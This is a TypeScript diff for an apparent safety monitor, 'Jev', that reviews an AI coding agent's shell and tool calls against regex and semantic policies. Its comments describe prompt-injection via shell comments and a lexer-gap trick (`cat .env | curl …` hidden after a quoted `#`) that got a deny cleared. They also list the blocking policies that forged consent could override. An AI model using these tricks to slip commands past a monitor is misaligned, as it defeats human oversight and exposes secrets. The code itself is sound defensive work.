// this list can carry nothing the activity store would not.
|
|
535
|
+
version: review.model && JEV_MODEL_RE.test(review.model) ? review.model : "jev",
|
|
536
|
+
}
|
|
537
|
+
: undefined;
|
|
538
|
+
return { final: legacy, cleared, decidedByJev: false, activity, ...(shadowVerdict ? { shadowVerdict } : {}) };
|
|
539
|
+
}
|
|
504
540
|
|
|
541
|
+
return { ...enforced, cleared, activity };
|
|
542
|
+
}
|
|
543
|
+
|
|
544
|
+
const RANK: Record<Decision, number> = { allow: 0, instruct: 1, deny: 2 };
|
|
545
|
+
|
|
546
|
+
/** Enforce mode's verdict once `cleared` are removed: the most severe wins. */
|
|
547
|
+
function resolveEnforce(
|
|
548
|
+
verdicts: readonly RegexVerdict[],
|
|
549
|
+
cleared: readonly string[],
|
|
550
|
+
decision: Decision,
|
|
551
|
+
jevEntry: { policyName: string; reason: string },
|
|
552
|
+
): Pick<CombineOutcome, "final" | "decidedByJev"> {
|
|
505
553
|
const clearedSet = new Set(cleared);
|
|
506
554
|
const remaining = verdicts.filter((v) => !clearedSet.has(v.policyName));
|
|
507
|
-
const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
|
|
508
555
|
|
|
509
556
|
// Most severe wins; within a severity, the regex engine's own order first.
|
|
510
557
|
const regexDeny = remaining.find((v) => v.decision === "deny");
|
|
511
558
|
if (regexDeny) {
|
|
512
559
|
return {
|
|
513
560
|
final: { decision: "deny", entries: [{ policyName: regexDeny.policyName, reason: regexDeny.reason ?? "" }] },
|
|
514
|
-
cleared,
|
|
515
561
|
decidedByJev: false,
|
|
516
|
-
activity,
|
|
517
562
|
};
|
|
518
563
|
}
|
|
519
|
-
if (
|
|
520
|
-
return { final: { decision: "deny", entries: [jevEntry] },
|
|
564
|
+
if (decision === "deny") {
|
|
565
|
+
return { final: { decision: "deny", entries: [jevEntry] }, decidedByJev: true };
|
|
521
566
|
}
|
|
522
567
|
// A call part of which was not shown to Jev stops HERE and no further: it
|
|
523
568
|
// cleared nothing (`wholePicture` above), so every regex verdict still
|
|
@@ -528,14 +573,9 @@ export function combineTwoTier(
|
|
|
528
573
|
const instructs = remaining
|
|
529
574
|
.filter((v) => v.decision === "instruct")
|
|
530
575
|
.map((v) => ({ policyName: v.policyName, reason: v.reason ?? "" }));
|
|
531
|
-
if (
|
|
576
|
+
if (decision === "instruct") instructs.push(jevEntry);
|
|
532
577
|
if (instructs.length > 0) {
|
|
533
|
-
return {
|
|
534
|
-
final: { decision: "instruct", entries: instructs },
|
|
535
|
-
cleared,
|
|
536
|
-
decidedByJev: instructs[0] === jevEntry,
|
|
537
|
-
activity,
|
|
538
|
-
};
|
|
578
|
+
return { final: { decision: "instruct", entries: instructs }, decidedByJev: instructs[0] === jevEntry };
|
|
539
579
|
}
|
|
540
|
-
return { final: regexOnly(remaining),
|
|
580
|
+
return { final: regexOnly(remaining), decidedByJev: false };
|
|
541
581
|
}
|
|
@@ -83,6 +83,18 @@ export function targetTokens(toolInput: Record<string, unknown>): Set<string> {
|
|
|
83
83
|
for (const t of tokensOf(tok)) out.add(t);
|
|
84
84
|
}
|
|
85
85
|
}
|
|
86
|
+
// Empty reads as "names no target", and lets consent rest on Jev's answers
|
|
87
|
+
// alone. But the scanner is not bash — a `#` inside `$'…'`, `${x:- # }` or
|
|
88
|
+
// backticks ends its view early, and it reads only MAX_SCAN_CHARS — so an
|
|
89
|
+
// empty scan may just have stopped before the target. Then judge the words
|
|
90
|
+
// as written. Only ever stricter: an empty set already passed.
|
|
91
|
+
if (out.size === 0) {
|
|
92
|
+
for (const piece of command.split(/[;&|\n]+/)) {
|
|
93
|
+
for (const tok of piece.trim().split(/\s+/).slice(1)) {
|
|
94
|
+
if (!tok.startsWith("-")) for (const t of tokensOf(tok)) out.add(t);
|
|
95
|
+
}
|
|
96
|
+
}
|
|
97
|
+
}
|
|
86
98
|
return out;
|
|
87
99
|
}
|
|
88
100
|
for (const [key, value] of Object.entries(toolInput)) {
|
|
@@ -133,6 +145,8 @@ export function decide(
|
|
|
133
145
|
const base: PolicyOutcome = {
|
|
134
146
|
policy: p.name,
|
|
135
147
|
mode: p.mode,
|
|
148
|
+
userCanOverride: p.userCanOverride,
|
|
149
|
+
...(p.origin ? { origin: p.origin } : {}),
|
|
136
150
|
evidence,
|
|
137
151
|
exempt,
|
|
138
152
|
userAsked,
|
|
@@ -321,6 +335,8 @@ export function decideV1(
|
|
|
321
335
|
const base: PolicyOutcome = {
|
|
322
336
|
policy: p.name,
|
|
323
337
|
mode: p.mode,
|
|
338
|
+
userCanOverride: p.userCanOverride,
|
|
339
|
+
...(p.origin ? { origin: p.origin } : {}),
|
|
324
340
|
evidence,
|
|
325
341
|
exempt,
|
|
326
342
|
userAsked: op,
|
|
@@ -198,7 +198,7 @@
|
|
|
198
198
|
* outside: a command inside a fake PEM block still reaches Jev, and a command
|
|
199
199
|
* hidden in a `scheme://…@` span costs the call its clears.
|
|
200
200
|
*/
|
|
201
|
-
import {
|
|
201
|
+
import type { ScannedCommand } from "./facts";
|
|
202
202
|
import { buildSecretScrubber, isSecretFieldValue, redactAuthorizationField, redactSecretsDetailed } from "./redact";
|
|
203
203
|
import type { SecretScrubber } from "./redact";
|
|
204
204
|
import type { Facts } from "./types";
|
|
@@ -411,8 +411,7 @@ const SHELL_METACHARACTERS = /[`;|&<>\n\r]|\$\(/;
|
|
|
411
411
|
* or the `new_string` of an edit, none of those can start anything: the call
|
|
412
412
|
* WRITES that text, it does not run it. So the answer here is only asked of
|
|
413
413
|
* text the call hands to a shell — `Accumulator.shellText` — which is the
|
|
414
|
-
* judged `command
|
|
415
|
-
* we do not know the shape of.
|
|
414
|
+
* judged `command` and every string of a tool we do not know the shape of.
|
|
416
415
|
*
|
|
417
416
|
* What that still charges, deliberately: the same placeholder typed inside a
|
|
418
417
|
* Bash command (`echo "…<user>:<password>@…" >> README.md`). There, `>` really
|
|
@@ -611,8 +610,8 @@ interface Accumulator {
|
|
|
611
610
|
section: Section;
|
|
612
611
|
/**
|
|
613
612
|
* What is being written is text THIS CALL HANDS TO A SHELL — the judged
|
|
614
|
-
* command
|
|
615
|
-
*
|
|
613
|
+
* command and (for a tool we do not know the shape of) the rest of its
|
|
614
|
+
* input. See {@link couldNotBeSecret}.
|
|
616
615
|
*/
|
|
617
616
|
shellText: boolean;
|
|
618
617
|
/** Serialized characters of the CURRENT budget pool still unspent. */
|
|
@@ -1037,7 +1036,8 @@ export function buildEnvelope(
|
|
|
1037
1036
|
toolInput: Record<string, unknown>,
|
|
1038
1037
|
userSaid: string[],
|
|
1039
1038
|
facts: Facts,
|
|
1040
|
-
|
|
1039
|
+
/** No longer read: the command is judged as written. See the judged command below. */
|
|
1040
|
+
_scanned: ScannedCommand | null,
|
|
1041
1041
|
opts: EnvelopeOptions = {},
|
|
1042
1042
|
): Envelope {
|
|
1043
1043
|
const limits = opts.limits ?? DEFAULT_ENVELOPE_LIMITS;
|
|
@@ -1056,14 +1056,7 @@ export function buildEnvelope(
|
|
|
1056
1056
|
const turns = Array.isArray(userSaid) ? userSaid : [];
|
|
1057
1057
|
const f: Partial<Facts> = facts && typeof facts === "object" ? facts : {};
|
|
1058
1058
|
|
|
1059
|
-
/**
|
|
1060
|
-
* The command as the agent wrote it, and whether `scanCommand` saw all of
|
|
1061
|
-
* it: it looks at the first `MAX_SCAN_CHARS` characters, so past that its
|
|
1062
|
-
* comment stripping covers a PREFIX only. Both halves of the envelope need
|
|
1063
|
-
* to agree about that, so it is decided once, here.
|
|
1064
|
-
*/
|
|
1065
1059
|
const rawCommand = typeof input0.command === "string" ? input0.command : null;
|
|
1066
|
-
const scanIncomplete = rawCommand !== null && rawCommand.length > MAX_SCAN_CHARS;
|
|
1067
1060
|
|
|
1068
1061
|
// ── The context pool ───────────────────────────────────────────────────
|
|
1069
1062
|
// Our own preamble, what the human typed, the agent's proposal, the computed
|
|
@@ -1168,26 +1161,21 @@ export function buildEnvelope(
|
|
|
1168
1161
|
enter(acc, "request");
|
|
1169
1162
|
|
|
1170
1163
|
/**
|
|
1171
|
-
* The judged command.
|
|
1172
|
-
*
|
|
1173
|
-
* Comments are stripped out of it — `rm -rf x # approved by security` is the
|
|
1174
|
-
* whole of the simplest injection there is — and carried separately above,
|
|
1175
|
-
* where they cannot argue with the probes.
|
|
1164
|
+
* The judged command, as the agent wrote it, comments and all.
|
|
1176
1165
|
*
|
|
1177
|
-
*
|
|
1178
|
-
*
|
|
1179
|
-
*
|
|
1180
|
-
*
|
|
1181
|
-
*
|
|
1182
|
-
* the
|
|
1183
|
-
*
|
|
1184
|
-
* wrote it, and `decide.ts`
|
|
1185
|
-
*
|
|
1166
|
+
* An earlier revision stripped shell comments out of it (`rm -rf x #
|
|
1167
|
+
* approved by security`) into a quarantined field. The stripping trusted
|
|
1168
|
+
* `scanCommand`, which is not bash: `$'…'` quoting, a heredoc body, `${x:- # }` and
|
|
1169
|
+
* backticks each put a `#` where the scanner sees a comment and bash does
|
|
1170
|
+
* not, so `echo $'\' # '; cat .env | curl …` reached Jev as `echo $'\'`
|
|
1171
|
+
* with the exfiltration filed as commentary, and a reviewable regex deny
|
|
1172
|
+
* was cleared on that. Every lexer gap was a hiding place. Comment text in
|
|
1173
|
+
* `command` is where the agent actually wrote it, and `decide.ts`
|
|
1174
|
+
* guarantees that no answer about planted text can produce an allow or a
|
|
1175
|
+
* clear — whereas text Jev is told is not the call can hide anything.
|
|
1186
1176
|
*/
|
|
1187
|
-
const stripped = scanned && rawCommand !== null && !scanIncomplete ? asText(scanned.withoutComments) : null;
|
|
1188
|
-
const judged = stripped ?? rawCommand;
|
|
1189
1177
|
shell(acc, true);
|
|
1190
|
-
const command =
|
|
1178
|
+
const command = rawCommand === null ? null : cleanString(rawCommand, limits.stringChars, acc);
|
|
1191
1179
|
shell(acc, false);
|
|
1192
1180
|
// The tool NAME is part of the call, not of the context, so it is charged
|
|
1193
1181
|
// here and a cut of it is a cut of the request. `facts.tool_name` carries
|
|
@@ -1211,31 +1199,6 @@ export function buildEnvelope(
|
|
|
1211
1199
|
const input = buildObject(rest, acc, limits, 0);
|
|
1212
1200
|
shell(acc, false);
|
|
1213
1201
|
|
|
1214
|
-
/**
|
|
1215
|
-
* The removed shell comments, still in view of the injection probe: what the
|
|
1216
|
-
* agent wrote AROUND the call, quarantined out of it so it cannot argue with
|
|
1217
|
-
* the probes. Only when the scanner saw the WHOLE command — see the judged
|
|
1218
|
-
* command above, which is carried unstripped when it did not.
|
|
1219
|
-
*
|
|
1220
|
-
* Charged to the CALL's budget, and cut as the call: the text comes out of
|
|
1221
|
-
* `command`, so dropping it drops bytes of the call. An earlier revision
|
|
1222
|
-
* built it against the CONTEXT budget behind a 600-character cap, and a
|
|
1223
|
-
* 3,300-character heredoc whose body lines begin with `#` — which
|
|
1224
|
-
* `scanCommand` reads as comments and bash does not — lost 97% of its text
|
|
1225
|
-
* with `requestCut` false.
|
|
1226
|
-
*
|
|
1227
|
-
* LAST, and with no cap of its own beyond the section's. Last, because the
|
|
1228
|
-
* command and the rest of the input are what must be shown if anything is;
|
|
1229
|
-
* and uncapped, because `scanCommand` only looks at the first
|
|
1230
|
-
* `MAX_SCAN_CHARS` characters, so the comments it can report are already
|
|
1231
|
-
* bounded by that — a cap here would be a second bound that only ever fires
|
|
1232
|
-
* on ordinary scripts.
|
|
1233
|
-
*/
|
|
1234
|
-
shell(acc, true);
|
|
1235
|
-
const removedComments =
|
|
1236
|
-
scanned?.commentsRemoved && !scanIncomplete ? cleanString((scanned.comments ?? []).join("\n"), limits.stringChars, acc) : null;
|
|
1237
|
-
shell(acc, false);
|
|
1238
|
-
|
|
1239
1202
|
const state: Record<string, unknown> = {
|
|
1240
1203
|
how_to_read: howToRead,
|
|
1241
1204
|
user_said: said,
|
|
@@ -1244,10 +1207,6 @@ export function buildEnvelope(
|
|
|
1244
1207
|
agent_request: {
|
|
1245
1208
|
tool: toolForRequest,
|
|
1246
1209
|
input: command === null ? input : { command, ...input },
|
|
1247
|
-
...(removedComments !== null ? { shell_comments_removed: true, removed_shell_comments: removedComments } : {}),
|
|
1248
|
-
// Said plainly rather than left to be inferred: this command is carried
|
|
1249
|
-
// with its comments in it.
|
|
1250
|
-
...(scanIncomplete ? { shell_comments_not_removed: true } : {}),
|
|
1251
1210
|
// Said plainly, because it changes what this answer may be used for: see
|
|
1252
1211
|
// the header and `combine.ts`.
|
|
1253
1212
|
//
|
|
@@ -100,6 +100,8 @@ export interface SemanticOptions {
|
|
|
100
100
|
model?: string;
|
|
101
101
|
/** Overrides the resolved set (an installed pack's, else the compiled-in one). */
|
|
102
102
|
policies?: ReadonlyArray<SemanticPolicy>;
|
|
103
|
+
/** The agent the call is for: a pack scoped to other agents contributes no checks. */
|
|
104
|
+
cli?: string;
|
|
103
105
|
thresholds?: Thresholds;
|
|
104
106
|
/** How "did the human ask for this?" is asked; see {@link IntentMode}. Defaults to v0. */
|
|
105
107
|
intent?: IntentMode;
|
|
@@ -296,14 +298,21 @@ function envNumber(name: string, fallback: number): number {
|
|
|
296
298
|
export function prepareSemantic(input: SemanticInput, opts: SemanticOptions = {}): PreparedCall {
|
|
297
299
|
const command = input.toolInput.command;
|
|
298
300
|
const scanned = typeof command === "string" ? scanCommand(command) : null;
|
|
299
|
-
const facts = computeFacts(
|
|
301
|
+
const facts = computeFacts(
|
|
302
|
+
input.toolName,
|
|
303
|
+
input.toolInput,
|
|
304
|
+
input.cwd ?? null,
|
|
305
|
+
input.permissionMode ?? null,
|
|
306
|
+
scanned,
|
|
307
|
+
input.projectRoot ?? null,
|
|
308
|
+
);
|
|
300
309
|
// The set an installed pack declared, or the compiled-in one when no pack
|
|
301
310
|
// declares any — see `pack-policies.ts` for the replacement rule. Resolved
|
|
302
311
|
// here rather than by the caller because this is the one place the policy set
|
|
303
312
|
// is read, and a second resolution site is a second answer to "what does this
|
|
304
313
|
// machine ask Jev". A caller that supplies `policies` (a replay, an ablation,
|
|
305
314
|
// `jev test`) still decides for itself.
|
|
306
|
-
const selected = selectPolicies(opts.policies ?? resolveSemanticPolicies(), facts);
|
|
315
|
+
const selected = selectPolicies(opts.policies ?? resolveSemanticPolicies(opts.cli), facts);
|
|
307
316
|
const intent = opts.intent ?? "v0";
|
|
308
317
|
const cleaned = intent === "v1" && opts.cleanHarnessText !== false ? cleanUserSaid(input.userSaid) : input.userSaid;
|
|
309
318
|
const agentLastMessage =
|
|
@@ -276,9 +276,15 @@ export function computeFacts(
|
|
|
276
276
|
cwd: string | null,
|
|
277
277
|
permissionMode: string | null,
|
|
278
278
|
scanned: ScannedCommand | null,
|
|
279
|
+
/**
|
|
280
|
+
* The session's pinned root (`session-root.ts`). The live `cwd` drifts with
|
|
281
|
+
* every `cd`; the project the human opened does not. Omitted by replays and
|
|
282
|
+
* `jev test`, which have no session and keep the old derivation.
|
|
283
|
+
*/
|
|
284
|
+
pinnedProjectRoot: string | null = null,
|
|
279
285
|
): Facts {
|
|
280
286
|
const { toolClass, toolIsKnown } = classifyTool(toolName);
|
|
281
|
-
const projectRoot = findProjectRoot(cwd);
|
|
287
|
+
const projectRoot = pinnedProjectRoot ?? findProjectRoot(cwd);
|
|
282
288
|
return {
|
|
283
289
|
toolName,
|
|
284
290
|
toolClass,
|
|
@@ -50,14 +50,14 @@
|
|
|
50
50
|
* independently.
|
|
51
51
|
*
|
|
52
52
|
* What it CAN do is worth stating exactly, because "it only stops a nudge" is
|
|
53
|
-
* not true: of the
|
|
54
|
-
* blocking denies — `
|
|
55
|
-
* `block-
|
|
56
|
-
* `
|
|
57
|
-
*
|
|
58
|
-
*
|
|
59
|
-
*
|
|
60
|
-
*
|
|
53
|
+
* not true: of the fifteen reviewable builtins (policy-catalog.ts), TWELVE are
|
|
54
|
+
* blocking denies — `protect-env-vars`, `block-env-files`,
|
|
55
|
+
* `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`,
|
|
56
|
+
* `block-secrets-write` and the six infra-CLI blocks — and only
|
|
57
|
+
* `warn-git-amend`, `warn-destructive-sql` and `warn-global-package-install`
|
|
58
|
+
* are nudges. So a forged consent can turn a real deny into an allow on those
|
|
59
|
+
* twelve. `block-work-on-main` is hard. That is the size of the trade; see
|
|
60
|
+
* docs/reference/jev-intent.mdx, which keeps the list.
|
|
61
61
|
*
|
|
62
62
|
* WHAT IS STILL REFUSED, because it is cheap and an agent cannot forge it by
|
|
63
63
|
* asking: a turn the harness's own payload marks as machine-submitted (a cron
|